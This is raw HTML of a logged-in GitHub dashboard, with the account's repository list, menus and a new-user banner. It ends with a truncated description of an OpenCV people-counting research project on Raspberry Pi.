aria-label="Dismiss this message"> <svg class="octicon octicon-x" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div> </div> </div> </template> </div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <aside class="hide-xl hide-lg width-full color-bg-primary border-bottom py-3 p-responsive" aria-label="Account context"> <details class="details-reset details-overlay d-inline-block" id="details-59141b"> <summary class="no-underline btn-link color-text-primary text-bold width-full" title="Switch account context" data-ga-click="Dashboard, click, Opened account context switcher - context:user"> <img src="https://avatars.githubusercontent.com/u/83227313?s=60&v=4" alt="@NhaPhatHanh" size="20" height="20" width="20" class="avatar-user avatar avatar-small "></img> <span class="css-truncate css-truncate-target ml-1">NhaPhatHanh</span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu" role="menu" aria-label="Switch dashboard context" > <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <div class="SelectMenu-title">Switch dashboard context</div> <button class="SelectMenu-closeButton" type="button" aria-label="Close menu" data-toggle-for="details-59141b"> <svg class="octicon octicon-x" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> </header> <div id="filter-menu-59141b" class="d-flex flex-column flex-1 overflow-hidden" > <div class="SelectMenu-list" > <a class="SelectMenu-item" href="/" role="menuitemradio" aria-checked="true" data-ga-click="Dashboard, switch context, Switch dashboard context from:user to:user"> <svg class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <img class="avatar avatar-small mr-2 avatar-user" src="https://avatars.githubusercontent.com/u/83227313?s=40&v=4" width="20" height="20" alt="@NhaPhatHanh" /> <span class="flex-1 css-truncate css-truncate-overflow">NhaPhatHanh</span> </a> <a class="SelectMenu-item" href="/orgs/gamvip88club/dashboard" role="menuitemradio" aria-checked="false" data-ga-click="Dashboard, switch context, Switch dashboard context from:user to:organization"> <svg class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <img class="avatar avatar-small mr-2" src="https://avatars.githubusercontent.com/u/83322843?s=40&v=4" width="20" height="20" alt="@gamvip88club" /> <span class="flex-1 css-truncate css-truncate-overflow">gamvip88club</span> </a> </div> <div class="border-top color-border-secondary position-relative"> <a class="SelectMenu-item" href="/account/organizations" role="menuitem" data-ga-click="Dashboard, click, Manage orgs link in context switcher - context:user"> <svg class="octicon octicon-organization SelectMenu-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 14.25c0 .138.112.25.25.25H4v-1.25a.75.75 0 01.75-.75h2.5a.75.75 0 01.75.75v1.25h2.25a.25.25 0 00.25-.25V1.75a.25.25 0 00-.25-.25h-8.5a.25.25 0 00-.25.25v12.5zM1.75 16A1.75 1.75 0 010 14.25V1.75C0 .784.784 0 1.75 0h8.5C11.216 0 12 .784 12 1.75v12.5c0 .085-.006.168-.018.25h2.268a.25.25 0 00.25-.25V8.285a.25.25 0 00-.111-.208l-1.055-.703a.75.75 0 11.832-1.248l1.055.703c.487.325.779.871.779 1.456v5.965A1.75 1.75 0 0114.25 16h-3.5a.75.75 0 01-.197-.026c-.099.017-.2.026-.303.026h-3a.75.75 0 01-.75-.75V14h-1v1.25a.75.75 0 01-.75.75h-3zM3 3.75A.75.75 0 013.75 3h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 3.75zM3.75 6a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM3 9.75A.75.75 0 013.75 9h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 9.75zM7.75 9a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM7 6.75A.75.75 0 017.75 6h.5a.75.75 0 010 1.5h-.5A.75.75 0 017 6.75zM7.75 3a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5z"></path></svg> Manage organizations </a> <a class="SelectMenu-item" href="/account/organizations/new" role="menuitem" data-ga-click="Dashboard, click, Create org link in context switcher - context:user"> <svg class="octicon octicon-plus SelectMenu-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.75 2a.75.75 0 01.75.75V7h4.25a.75.75 0 110 1.5H8.5v4.25a.75.75 0 11-1.5 0V8.5H2.75a.75.75 0 010-1.5H7V2.75A.75.75 0 017.75 2z"></path></svg> Create organization </a> </div> </div> </div> </details-menu> </details> </aside> <div class="d-flex flex-wrap color-bg-canvas-inset" style="min-height: 100vh;"> <aside class="team-left-column col-12 col-md-4 col-lg-3 color-bg-primary border-right color-border-secondary border-bottom hide-md hide-sm" aria-label="Account"> <div class="dashboard-sidebar js-sticky top-0 px-3 px-md-4 px-lg-5 overflow-auto"> <div class="border-bottom color-border-secondary py-3 mt-3 mb-4"> <details class="details-reset details-overlay d-inline-block" id="details-e5dc02"> <summary class="no-underline btn-link color-text-primary text-bold width-full" title="Switch account context" data-ga-click="Dashboard, click, Opened account context switcher - context:user"> <img src="https://avatars.githubusercontent.com/u/83227313?s=60&v=4" alt="@NhaPhatHanh" size="20" height="20" width="20" class="avatar-user avatar avatar-small "></img> <span class="css-truncate css-truncate-target ml-1">NhaPhatHanh</span> <span class="dropdown-caret"></span> </summary> <details-menu class="SelectMenu" role="menu" aria-label="Switch dashboard context" > <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <div class="SelectMenu-title">Switch dashboard context</div> <button class="SelectMenu-closeButton" type="button" aria-label="Close menu" data-toggle-for="details-e5dc02"> <svg class="octicon octicon-x" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> </header> <div id="filter-menu-e5dc02" class="d-flex flex-column flex-1 overflow-hidden" > <div class="SelectMenu-list" > <a class="SelectMenu-item" href="/" role="menuitemradio" aria-checked="true" data-ga-click="Dashboard, switch context, Switch dashboard context from:user to:user"> <svg class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <img class="avatar avatar-small mr-2 avatar-user" src="https://avatars.githubusercontent.com/u/83227313?s=40&v=4" width="20" height="20" alt="@NhaPhatHanh" /> <span class="flex-1 css-truncate css-truncate-overflow">NhaPhatHanh</span> </a> <a class="SelectMenu-item" href="/orgs/gamvip88club/dashboard" role="menuitemradio" aria-checked="false" data-ga-click="Dashboard, switch context, Switch dashboard context from:user to:organization"> <svg class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <img class="avatar avatar-small mr-2" src="https://avatars.githubusercontent.com/u/83322843?s=40&v=4" width="20" height="20" alt="@gamvip88club" /> <span class="flex-1 css-truncate css-truncate-overflow">gamvip88club</span> </a> </div> <div class="border-top color-border-secondary position-relative"> <a class="SelectMenu-item" href="/account/organizations" role="menuitem" data-ga-click="Dashboard, click, Manage orgs link in context switcher - context:user"> <svg class="octicon octicon-organization SelectMenu-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M1.5 14.25c0 .138.112.25.25.25H4v-1.25a.75.75 0 01.75-.75h2.5a.75.75 0 01.75.75v1.25h2.25a.25.25 0 00.25-.25V1.75a.25.25 0 00-.25-.25h-8.5a.25.25 0 00-.25.25v12.5zM1.75 16A1.75 1.75 0 010 14.25V1.75C0 .784.784 0 1.75 0h8.5C11.216 0 12 .784 12 1.75v12.5c0 .085-.006.168-.018.25h2.268a.25.25 0 00.25-.25V8.285a.25.25 0 00-.111-.208l-1.055-.703a.75.75 0 11.832-1.248l1.055.703c.487.325.779.871.779 1.456v5.965A1.75 1.75 0 0114.25 16h-3.5a.75.75 0 01-.197-.026c-.099.017-.2.026-.303.026h-3a.75.75 0 01-.75-.75V14h-1v1.25a.75.75 0 01-.75.75h-3zM3 3.75A.75.75 0 013.75 3h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 3.75zM3.75 6a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM3 9.75A.75.75 0 013.75 9h.5a.75.75 0 010 1.5h-.5A.75.75 0 013 9.75zM7.75 9a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5zM7 6.75A.75.75 0 017.75 6h.5a.75.75 0 010 1.5h-.5A.75.75 0 017 6.75zM7.75 3a.75.75 0 000 1.5h.5a.75.75 0 000-1.5h-.5z"></path></svg> Manage organizations </a> <a class="SelectMenu-item" href="/account/organizations/new" role="menuitem" data-ga-click="Dashboard, click, Create org link in context switcher - context:user"> <svg class="octicon octicon-plus SelectMenu-icon" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.75 2a.75.75 0 01.75.75V7h4.25a.75.75 0 110 1.5H8.5v4.25a.75.75 0 11-1.5 0V8.5H2.75a.75.75 0 010-1.5H7V2.75A.75.75 0 017.75 2z"></path></svg> Create organization </a> </div> </div> </div> </details-menu> </details> </div> <div class="mb-3 Details js-repos-container " data-repository-hovercards-enabled id="dashboard-repos-container" data-pjax-container role="navigation" aria-label="Repositories"> <div class="js-repos-container" id="repos-container" data-pjax-container> <h2 class="f4 hide-sm hide-md mb-1 f5 d-flex flex-justify-between flex-items-center"> Repositories <a class="btn btn-sm btn-primary color-text-white" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"NEW_REPOSITORY_BUTTON","dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="269f96c8b7925798dca252ba25ee3a5820270ba3fdf7d20d20e789a0179be9aa" data-ga-click="Dashboard, click, Sidebar header new repo button - context:user" href="/new"> <svg class="octicon octicon-repo" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> New </a> </h2> <div class="mt-2 mb-3" role="search" aria-label="Repositories"> <input type="text" class="form-control input-contrast input-block mb-3 js-filterable-field js-your-repositories-search" id="dashboard-repos-filter-left" placeholder="Find a repository…" aria-label="Find a repository…" data-url="/" data-query-name="q" value="" autocomplete="off"> </div> <ul class="list-style-none" data-filterable-for="dashboard-repos-filter-left" data-filterable-type="substring"> <li class="private source "> <div class="width-full text-bold"> <a href="/NhaPhatHanh/sumvip" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":361792290,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="3d884f457d0af2613e33ebf290824eeee38a2e5ae64f76821d5f549c3bf1d827" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:private fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/sumvip/hovercard"> <div class="color-text-tertiary mr-2"> <svg class="octicon octicon-lock repo-private-icon flex-shrink-0" aria-label="Repository" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M4 4v2h-.25A1.75 1.75 0 002 7.75v5.5c0 .966.784 1.75 1.75 1.75h8.5A1.75 1.75 0 0014 13.25v-5.5A1.75 1.75 0 0012.25 6H12V4a4 4 0 10-8 0zm6.5 2V4a2.5 2.5 0 00-5 0v2h5zM12 7.5h.25a.25.25 0 01.25.25v5.5a.25.25 0 01-.25.25h-8.5a.25.25 0 01-.25-.25v-5.5a.25.25 0 01.25-.25H12z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="sumvip">sumvip</span> </a> </div> </li> <li class="public source no-description"> <div class="width-full text-bold"> <a href="/NhaPhatHanh/sumvip.club" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":361782773,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="849667ca9bc191f13352a27f1a9589b81b3f666f2de9d5d2abffb7f540b04524" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/sumvip.club/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="sumvip.club">sumvip.club</span> </a> </div> </li> <li class="public source "> <div class="width-full text-bold"> <a href="/NhaPhatHanh/88vin.link" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":361774252,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="0c2927cd368417c1f71936d5894d97c11ad6ad6ba13aad8bb18cb0ae786df73f" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/88vin.link/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="88vin.link">88vin.link</span> </a> </div> </li> <li class="public source no-description"> <div class="width-full text-bold"> <a href="/NhaPhatHanh/github-docs" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":362337089,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="0aa510bbf6362778733e1189b98877ea5eaed33d40c226753ae619d7d44a1f0b" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/github-docs/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="github-docs">github-docs</span> </a> </div> </li> <li class="public source "> <div class="width-full text-bold"> <a href="/NhaPhatHanh/NhaPhatHanh" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":362176831,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="faf207959d3f49dc5283bee49d28f8b67362a5a4d7f6de8f592c4797b96b04d9" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/NhaPhatHanh/hovercard"> <div class="color-text-tertiary mr-2"> <svg aria-label="Repository" class="octicon octicon-repo flex-shrink-0" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="NhaPhatHanh">NhaPhatHanh</span> </a> </div> </li> </ul> </div> </div> <div class="js-repos-container user-repos mb-3" id="dashboard-user-teams" data-pjax-container> <div class="Details js-repos-container" data-team-hovercards-enabled> <h2 class="hide-sm hide-md f5 mb-1 border-top color-border-secondary pt-3">Your teams</h2> <p class="notice"> You don’t belong to any teams yet! </p> </div> </div> </div> </aside> <div class="col-12 col-md-8 col-lg-6 mt-3 px-3 px-lg-5 border-bottom d-flex flex-auto"> <div class="mx-auto d-flex flex-auto flex-column" style="max-width: 1400px"> <main class="flex-auto"> <div class="border rounded-1 shelf intro-shelf js-notice"> <div class="width-full container"> <div class="width-full mx-auto p-5 shelf-content"> <h2 class="shelf-title">Learn Git and GitHub without any code!</h2> <p class="shelf-lead"> Using the Hello World guide, you’ll create a repository, start a branch, write comments, and open a pull request. </p> <a class="btn btn-primary shelf-cta mx-2 mb-3" target="_blank" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"NEW_USER_BANNER","dashboard_context":"user","dashboard_version":2,"target":"READ_GUIDE","user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="065b53dff8bb900c054c67deccb1d8e25644d77c04a9235dfb06aae8f0845b35" data-ga-click="Hello World, click, Clicked Let's get started button" href="https://guides.github.com/activities/hello-world/">Read the guide</a> <a class="btn shelf-cta mx-2 mb-3" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"NEW_USER_BANNER","dashboard_context":"user","dashboard_version":2,"target":"START_PROJECT","user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="e462943bb31bd3003c3636fdf2bd5d45ab45893d5d6e0e806ec4407a59fe0134" data-ga-click="Hello World, click, Clicked new repository button - context:user" href="/new">Start a project</a> </div> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="shelf-dismiss js-notice-dismiss" action="/dashboard/dismiss_bootcamp" accept-charset="UTF-8" method="post"><input type="hidden" name="_method" value="delete" /><input type="hidden" name="authenticity_token" value="6CEBLJmBkvqLVwFWOHZm+HjVZVyJJeRKsnJpyHd3MuLzYZKDs9LaEeGErnWlxSpK46d2HozAfEX09hbhXIBjOg==" /> <button name="button" type="submit" class="mr-1 close-button tooltipped tooltipped-w" aria-label="Hide this notice forever" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"NEW_USER_BANNER","dashboard_context":"user","dashboard_version":2,"target":"DISMISS_BANNER","user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="02ff51f0c07535492d3dc33173db83c1ec1293c047f42e1f920c5285055a6db3" data-ga-click="Hello World, click, Dismissed Hello World" data-ga-load="Hello World, linkview, Viewed Hello World"> <svg aria-label="Hide this notice forever" class="octicon octicon-x v-align-text-top" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button></form> </div> </div> <div data-issue-and-pr-hovercards-enabled> <div id="dashboard" class="dashboard"> <h1 class="sr-only">Dashboard</h1> <div class="news"> <div class="js-dashboard-deferred" data-src="/dashboard/recent-activity" data-priority="1" > <div class="Box text-center p-3 mb-4 d-none js-loader"> <div class="loading-message"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" viewBox="0 0 16 16" fill="none" width="32" height="32" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> <p class="color-text-secondary my-2 mb-0">Loading recent activity...</p> </div> </div> </div> <div class="d-block d-md-none"> <div class="mt-2 mb-4 Details js-repos-container" id="dashboard-repositories-box" data-pjax-container role="navigation"> <h2 class="f4 mb-1 text-normal d-flex flex-justify-between flex-items-center">Repositories</h2> <div class="Box px-2 py-1"> <div class="js-repos-container" id="repos-container" data-pjax-container> <h2 class="f4 hide-sm hide-md mb-1 f5 d-flex flex-justify-between flex-items-center"> Repositories <a class="btn btn-sm btn-primary color-text-white" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"NEW_REPOSITORY_BUTTON","dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="269f96c8b7925798dca252ba25ee3a5820270ba3fdf7d20d20e789a0179be9aa" data-ga-click="Dashboard, click, Sidebar header new repo button - context:user" href="/new"> <svg class="octicon octicon-repo" height="16" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> New </a> </h2> <div class="mt-2 mb-3" role="search" aria-label="Repositories"> <input type="text" class="form-control input-contrast input-block mb-3 js-filterable-field js-your-repositories-search" id="dashboard-repos-filter-center" placeholder="Find a repository…" aria-label="Find a repository…" data-url="/" data-query-name="q" value="" autocomplete="off"> </div> <ul class="list-style-none" data-filterable-for="dashboard-repos-filter-center" data-filterable-type="substring"> <li class="private source "> <div class="width-full text-bold"> <a href="/NhaPhatHanh/sumvip" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":361792290,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="3d884f457d0af2613e33ebf290824eeee38a2e5ae64f76821d5f549c3bf1d827" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:private fork:false" data-hovercard-type="repository" data-hovercard-url="/NhaPhatHanh/sumvip/hovercard"> <div class="color-text-tertiary mr-2"> <svg class="octicon octicon-lock repo-private-icon flex-shrink-0" aria-label="Repository" viewBox="0 0 16 16" version="1.1" width="16" height="16" role="img"><path fill-rule="evenodd" d="M4 4v2h-.25A1.75 1.75 0 002 7.75v5.5c0 .966.784 1.75 1.75 1.75h8.5A1.75 1.75 0 0014 13.25v-5.5A1.75 1.75 0 0012.25 6H12V4a4 4 0 10-8 0zm6.5 2V4a2.5 2.5 0 00-5 0v2h5zM12 7.5h.25a.25.25 0 01.25.25v5.5a.25.25 0 01-.25.25h-8.5a.25.25 0 01-.25-.25v-5.5a.25.25 0 01.25-.25H12z"></path></svg> </div> <span class="flex-shrink-0 css-truncate css-truncate-target" title="NhaPhatHanh">NhaPhatHanh</span>/<span class="css-truncate css-truncate-target" style="max-width: 260px" title="sumvip">sumvip</span> </a> </div> </li> <li class="public source no-description"> <div class="width-full text-bold"> <a href="/NhaPhatHanh/sumvip.club" class="d-inline-flex flex-items-baseline flex-wrap f5 mb-2 dashboard-underlined-link width-fit" data-hydro-click="{"event_type":"dashboard.click","payload":{"event_context":"REPOSITORIES","target":"REPOSITORY","record_id":361782773,"dashboard_context":"user","dashboard_version":2,"user_id":83227313,"originating_url":"https://github.com/"}}" data-hydro-click-hmac="849667ca9bc191f13352a27f1a9589b81b3f666f2de9d5d2abffb7f540b04524" data-ga-click="Dashboard, click, Repo list item click - context:user visibility:public fork:false" data-hovercard-type="repository" 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chs74515 / PeopleCounterIn present days, people detection, tracking and counting is an important aspect in the video investigation and subjection demand in Computer Vision Systems. Providing (real time) traffic information will help improve and reduce pedestrian and vehicle traffic, especially when the data collected is learned and analyzed over a period of time, which makes its highly essential to identify people, vehicles and objects in general and also accurately counting the number of people and/or vehicles entering and leaving a particular location in real time. To perform people counting, a robust and efficient system is needed. This research is aimed at making a pedestrian traffic reporting system for certain areas and buildings around the campus to potentially help ease traffic circulation. Providing this information will be done through a developed application, which includes image processing with Open Computer Vision (OpenCV). This will show the amount of traffic in certain buildings or area over a period of time. OpenCV is a cross-platform library which can be used to develop real-time Computer Vision applications [Opencv, 2015b]. It is mainly focused on image processing, video capture and analysis including features like people and object detection. The operations performed were based on the performance and accuracy of the tracking algorithms when implemented in embedded devices such as the Raspberry Pi and the Tinker Board. The Pi Camera was used for real time vision and hosted on the embedded device. The proposed method used was conjoined with an 